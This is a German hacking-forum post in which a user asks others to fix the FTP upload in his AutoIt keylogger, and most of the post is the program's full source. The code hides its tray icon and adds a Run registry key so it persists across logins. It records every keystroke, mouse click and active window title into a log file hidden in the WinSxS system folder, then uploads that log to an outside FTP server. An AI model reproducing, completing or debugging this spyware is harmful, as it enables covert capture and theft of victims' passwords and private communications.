Autoit Keylogger

[dave]

Hallo liebe Free-Hack User.

Ich habe mal an euch eine frage und da sind alle gefragt die ein bisschen ahnung haben von Programieren mit Autoit .

Zum Thema :
Wie der Titel schon sagt möchte ich sehr gerne ein Keylogger Programieren , er Funktioniert auch wunderbar , aber nur eins leider nocht nicht .
Ich möchte sehr gerne das die daten zum Ftp gesendet werden , ja ich weiß ich kenne die ftp.au3 ich habs auch eingebaut aber dann kommt ne Error Meldung , könnte das villeicht jemand von euch angucken ?

Were sehr nett von euch
Keylogger Code

#NoTrayIcon
#include <Misc.au3>
#include <Ftp.au3>

$serv = "test.bplaced.net"
$user = "test"
$pass = "test"

$FTP = _FTPOpen("AutoIt v3")
$FTPServer = _FTPConnect($FTP,$serv,$user,$pass,1)

ProgressOn("Upload","Uploading file [Cancel with F8]")
$x = _FTP_UploadProgress($FTPServer, "C:\WINDOWS\WinSxS\", 'log.html', "_UpdateParts")
ProgressSet(100,"Return: " & $x & @CRLF & "Error: " & @error)
Sleep(2000)
ProgressOff()

_FTPClose($FTPServer)
_FTPClose($FTP)

Func _UpdateParts($percent)
ProgressSet($percent,$percent &"%")
If _IsPressed("77") Then Return 0
Return 1 ; bei 1 Fortsetzten
Endfunc
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Run", "test", "REG_SZ", '"' & @AutoItExe & '"')
Local $DATE = @YEAR & "-" & @MON & "-" & @MDAY
Local $USER32 = DllOpen("user32"), $LOG
Local $WINDOW2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "C:\WINDOWS\WinSxS\" & @username & "log.html"
HotKeySet("^{F9}", "Terminate")
Opt("OnExitFunc", "Terminate")
If FileExists($LOG) = 1 Then
FileDelete($LOG)
EndIf
FileWrite($LOG, "")
FileOpen($LOG, 1)
Sleep(100)
FileWrite($LOG, "<font face=Verdana size=1>")
FileWrite($LOG, "<b><center>[#[ Log Start ]#] </center></b><br>")
FileWrite($LOG, "<b><center>[#[ History : ]#] </center></b><br>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{LMS} = Linke Maus Taste<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{RMS} = Rechte Maus Taste<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{MMS} = Mittlere Maus Taste<br></font></center>")
FileWrite($LOG, "<br>")
FileWrite($LOG, "<b><center>[#[ Log : ]#] </center></b><br>")
While 1
For $N = 30 To 39
If _ISPRESSED($N) Then
If ((StringRight($N, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("=")
ElseIf ((StringRight($N, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("0")
ElseIf ((StringRight($N, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("!")
ElseIf ((StringRight($N, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("1")
ElseIf ((StringRight($N, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS('"')
ElseIf ((StringRight($N, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("2")
ElseIf ((StringRight($N, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("#")
ElseIf ((StringRight($N, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("3")
ElseIf ((StringRight($N, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("$")
ElseIf ((StringRight($N, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("4")
ElseIf ((StringRight($N, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("%")
ElseIf ((StringRight($N, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("5")
ElseIf ((StringRight($N, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("&")
ElseIf ((StringRight($N, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("6")
ElseIf ((StringRight($N, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("/")
ElseIf ((StringRight($N, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("7")
ElseIf ((StringRight($N, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("(")
ElseIf ((StringRight($N, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("8")
ElseIf ((StringRight($N, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS(")")
ElseIf ((StringRight($N, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("9")
EndIf
While _ISPRESSED($N) = 1
Sleep(1)
WEnd
EndIf
Next
If _ISPRESSED("2E") = 1 Then
_LOGKEYPRESS(".")
While _ISPRESSED("2E") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("3F") = 1 Then
_LOGKEYPRESS("?")
While _ISPRESSED("3F") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("B4") = 1 Then
_LOGKEYPRESS("´")
While _ISPRESSED("B4") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2A") = 1 Then
_LOGKEYPRESS("*")
While _ISPRESSED("2A") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2B") = 1 Then
_LOGKEYPRESS("+")
While _ISPRESSED("2B") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("27") = 1 Then
_LOGKEYPRESS("'")
While _ISPRESSED("27") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("41") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("a")
Else
_LOGKEYPRESS("A")
EndIf
While _ISPRESSED("41") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("42") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("b")
Else
_LOGKEYPRESS("B")
EndIf
While _ISPRESSED("42") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("43") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("c")
Else
_LOGKEYPRESS("C")
EndIf
While _ISPRESSED("43") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("44") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("d")
Else
_LOGKEYPRESS("D")
EndIf
While _ISPRESSED("44") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("45") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("e")
Else
_LOGKEYPRESS("E")
EndIf
While _ISPRESSED("45") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("46") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("f")
Else
_LOGKEYPRESS("F")
EndIf
While _ISPRESSED("46") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("47") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("g")
Else
_LOGKEYPRESS("G")
EndIf
While _ISPRESSED("47") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("48") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("h")
Else
_LOGKEYPRESS("H")
EndIf
While _ISPRESSED("48") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("49") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("i")
Else
_LOGKEYPRESS("I")
EndIf
While _ISPRESSED("49") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4A") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("j")
Else
_LOGKEYPRESS("J")
EndIf
While _ISPRESSED("4A") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4B") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("k")
Else
_LOGKEYPRESS("K")
EndIf
While _ISPRESSED("4B") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4C") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("l")
Else
_LOGKEYPRESS("L")
EndIf
While _ISPRESSED("4C") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4D") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("m")
Else
_LOGKEYPRESS("M")
EndIf
While _ISPRESSED("4D") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4E") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("n")
Else
_LOGKEYPRESS("N")
EndIf
While _ISPRESSED("4E") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4F") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("o")
Else
_LOGKEYPRESS("O")
EndIf
While _ISPRESSED("4F") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("50") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("p")
Else
_LOGKEYPRESS("P")
EndIf
While _ISPRESSED("50") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("51") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("q")
Else
_LOGKEYPRESS("Q")
EndIf
While _ISPRESSED("51") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("52") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("r")
Else
_LOGKEYPRESS("R")
EndIf
While _ISPRESSED("52") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("53") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("s")
Else
_LOGKEYPRESS("S")
EndIf
While _ISPRESSED("53") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("54") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("t")
Else
_LOGKEYPRESS("T")
EndIf
While _ISPRESSED("54") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("55") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("u")
Else
_LOGKEYPRESS("U")
EndIf
While _ISPRESSED("55") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("56") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("v")
Else
_LOGKEYPRESS("V")
EndIf
While _ISPRESSED("56") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("57") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("w")
Else
_LOGKEYPRESS("W")
EndIf
While _ISPRESSED("57") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("58") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("x")
Else
_LOGKEYPRESS("X")
EndIf
While _ISPRESSED("58") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("59") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("y")
Else
_LOGKEYPRESS("Y")
EndIf
While _ISPRESSED("59") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("5A") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("z")
Else
_LOGKEYPRESS("Z")
EndIf
While _ISPRESSED("5A") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("20") = 1 Then
_LOGKEYPRESS(" ")
While _ISPRESSED("20") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("01") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _ISPRESSED("01") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("02") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _ISPRESSED("02") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("04") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _ISPRESSED("04") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("08") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
While _ISPRESSED("08") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("09") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _ISPRESSED("09") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("0d") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _ISPRESSED("0d") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("10") Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _ISPRESSED("10") = 1
For $N = 30 To 39
If _ISPRESSED($N) Then
If StringRight($N, 1) = 0 Then
_LOGKEYPRESS("=")
ElseIf StringRight($N, 1) = 1 Then
_LOGKEYPRESS("!")
ElseIf StringRight($N, 1) = 2 Then
_LOGKEYPRESS('"')
ElseIf StringRight($N, 1) = 3 Then
_LOGKEYPRESS("#")
ElseIf StringRight($N, 1) = 4 Then
_LOGKEYPRESS("$")
ElseIf StringRight($N, 1) = 5 Then
_LOGKEYPRESS("%")
ElseIf StringRight($N, 1) = 6 Then
_LOGKEYPRESS("&")
ElseIf StringRight($N, 1) = 7 Then
_LOGKEYPRESS("/")
ElseIf StringRight($N, 1) = 8 Then
_LOGKEYPRESS("(")
ElseIf StringRight($N, 1) = 9 Then
_LOGKEYPRESS(")")
EndIf
While _ISPRESSED($N) = 1
Sleep(1)
WEnd
EndIf
Next
If _ISPRESSED("41") = 1 Then _LOGKEYPRESS("A")
While _ISPRESSED("41") = 1
Sleep(1)
WEnd
If _ISPRESSED("42") = 1 Then _LOGKEYPRESS("B")
While _ISPRESSED("42") = 1
Sleep(1)
WEnd
If _ISPRESSED("43") = 1 Then _LOGKEYPRESS("C")
While _ISPRESSED("43") = 1
Sleep(1)
WEnd
If _ISPRESSED("44") = 1 Then _LOGKEYPRESS("D")
While _ISPRESSED("44") = 1
Sleep(1)
WEnd
If _ISPRESSED("45") = 1 Then _LOGKEYPRESS("E")
While _ISPRESSED("45") = 1
Sleep(1)
WEnd
If _ISPRESSED("46") = 1 Then _LOGKEYPRESS("F")
While _ISPRESSED("46") = 1
Sleep(1)
WEnd
If _ISPRESSED("47") = 1 Then _LOGKEYPRESS("G")
While _ISPRESSED("47") = 1
Sleep(1)
WEnd
If _ISPRESSED("48") = 1 Then _LOGKEYPRESS("H")
While _ISPRESSED("48") = 1
Sleep(1)
WEnd
If _ISPRESSED("49") = 1 Then _LOGKEYPRESS("I")
While _ISPRESSED("49") = 1
Sleep(1)
WEnd
If _ISPRESSED("4A") = 1 Then _LOGKEYPRESS("J")
While _ISPRESSED("4A") = 1
Sleep(1)
WEnd
If _ISPRESSED("4B") = 1 Then _LOGKEYPRESS("K")
While _ISPRESSED("4B") = 1
Sleep(1)
WEnd
If _ISPRESSED("4C") = 1 Then _LOGKEYPRESS("L")
While _ISPRESSED("4C") = 1
Sleep(1)
WEnd
If _ISPRESSED("4D") = 1 Then _LOGKEYPRESS("M")
While _ISPRESSED("4D") = 1
Sleep(1)
WEnd
If _ISPRESSED("4E") = 1 Then _LOGKEYPRESS("N")
While _ISPRESSED("4E") = 1
Sleep(1)
WEnd
If _ISPRESSED("4F") = 1 Then _LOGKEYPRESS("O")
While _ISPRESSED("4F") = 1
Sleep(1)
WEnd
If _ISPRESSED("50") = 1 Then _LOGKEYPRESS("P")
While _ISPRESSED("50") = 1
Sleep(1)
WEnd
If _ISPRESSED("51") = 1 Then _LOGKEYPRESS("Q")
While _ISPRESSED("51") = 1
Sleep(1)
WEnd
If _ISPRESSED("52") = 1 Then _LOGKEYPRESS("R")
While _ISPRESSED("52") = 1
Sleep(1)
WEnd
If _ISPRESSED("53") = 1 Then _LOGKEYPRESS("S")
While _ISPRESSED("53") = 1
Sleep(1)
WEnd
If _ISPRESSED("54") = 1 Then _LOGKEYPRESS("T")
While _ISPRESSED("54") = 1
Sleep(1)
WEnd
If _ISPRESSED("55") = 1 Then _LOGKEYPRESS("U")
While _ISPRESSED("55") = 1
Sleep(1)
WEnd
If _ISPRESSED("56") = 1 Then _LOGKEYPRESS("V")
While _ISPRESSED("56") = 1
Sleep(1)
WEnd
If _ISPRESSED("57") = 1 Then _LOGKEYPRESS("W")
While _ISPRESSED("57") = 1
Sleep(1)
WEnd
If _ISPRESSED("58") = 1 Then _LOGKEYPRESS("X")
While _ISPRESSED("58") = 1
Sleep(1)
WEnd
If _ISPRESSED("59") = 1 Then _LOGKEYPRESS("Y")
While _ISPRESSED("59") = 1
Sleep(1)
WEnd
If _ISPRESSED("5A") = 1 Then _LOGKEYPRESS("Z")
While _ISPRESSED("5A") = 1
Sleep(1)
WEnd
WEnd
ElseIf _ISPRESSED("11") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _ISPRESSED("11") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("12") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _ISPRESSED("12") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("13") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _ISPRESSED("13") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("14") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _ISPRESSED("14") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("1b") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _ISPRESSED("1b") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("21") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _ISPRESSED("21") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("22") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _ISPRESSED("22") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("23") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _ISPRESSED("23") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("24") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _ISPRESSED("24") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("25") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _ISPRESSED("25") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("26") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _ISPRESSED("26") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("27") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _ISPRESSED("27") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("28") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _ISPRESSED("28") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2c") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _ISPRESSED("2c") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2d") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _ISPRESSED("2d") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2e") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _ISPRESSED("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _ISPRESSED($HEXKEY)
Local $AR, $BRV
$HEXKEY = "0x" & $HEXKEY
$AR = DllCall($USER32, "int", "GetAsyncKeyState", "int", $HEXKEY)
If $AR[0] <> 0 Then
$BRV = 1
Else
$BRV = 0
EndIf
Return $BRV
EndFunc



Func _LOGKEYPRESS($WHAT2LOG)
$WINDOW = WinGetTitle("")
If $WINDOW = $WINDOW2 Then
FileWrite($LOG, $WHAT2LOG)
Else
$WINDOW2 = $WINDOW
FileWrite($LOG, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $WINDOW & '"</b><br>' & $WHAT2LOG)
EndIf
EndFunc


Func TERMINATE()
DllClose($USER32)
FileClose($LOG)
Exit
EndFunc

Das ist der ganze code wie gesagt es geht alles nur halt mit den Ftp zeug nicht.
Ich bitte um antworten.

mfg dave